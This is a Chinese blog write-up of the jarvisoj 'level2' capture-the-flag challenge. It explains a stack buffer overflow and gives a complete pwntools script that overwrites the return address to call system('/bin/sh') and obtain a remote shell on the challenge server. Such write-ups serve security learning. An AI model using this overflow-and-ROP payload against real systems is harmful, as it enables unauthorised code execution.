1. 程式人生 > >jarvisoj-level2

jarvisoj-level2

只開了NX,棧上不可執行

main函式

  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;

function函式

  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u);

這次沒有像level1一樣直接洩露buf地址了,而且開了NX就不能用shellcode了,另外程式沒有開canary(棧溢位檢測)所以用基本的ROP

因為程式沒有開記憶體地址隨機化(PIE),直接用IDA裡上方選單欄內的serch for text查一下system和\bin\sh的地址

.data:0804A024                 public hint
.data:0804A024 hint            db '/bin/sh',0
.data:0804A024 _data           ends

.plt:08048320                 jmp     ds:off_804A010
.plt:08048320 _system         endp

這裡有個困惑是IDA裡左邊列表的_system和system有什麼差別呢?system在IDA裡是粉色框,是因為main函式沒有呼叫到它嗎?之後閱讀IDA權威指南的時候希望能找到原因。

有了system和\bin\sh的地址後,就能構造payload了

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

s=remote("pwn2.jarvisoj.com",9878)
payload='a'*0x88+'a'*4+p32(0x08048320)+p32(0x08048320)+p32(0x0804a024)
#這裡是0x88+4個'a'把棧和ebp填滿,之後用system的地址覆蓋返回地址,之後跟著隨便一個地址,是system函式執行的地址,這裡我直接用system原有的地址(任意地址都可以),最後跟著/bin/sh字串存放的地址,作為system函式的引數
text=s.recvline()
print text
s.send(payload)
s.interactive()

不過像https://www.cnblogs.com/WangAoBo/p/7622091.html裡用ELF讀取本地level2檔案,再用symbols[‘system’]獲取system函式地址,以及用search("/bin/sh").next()得到字串地址的方式更具有通用性。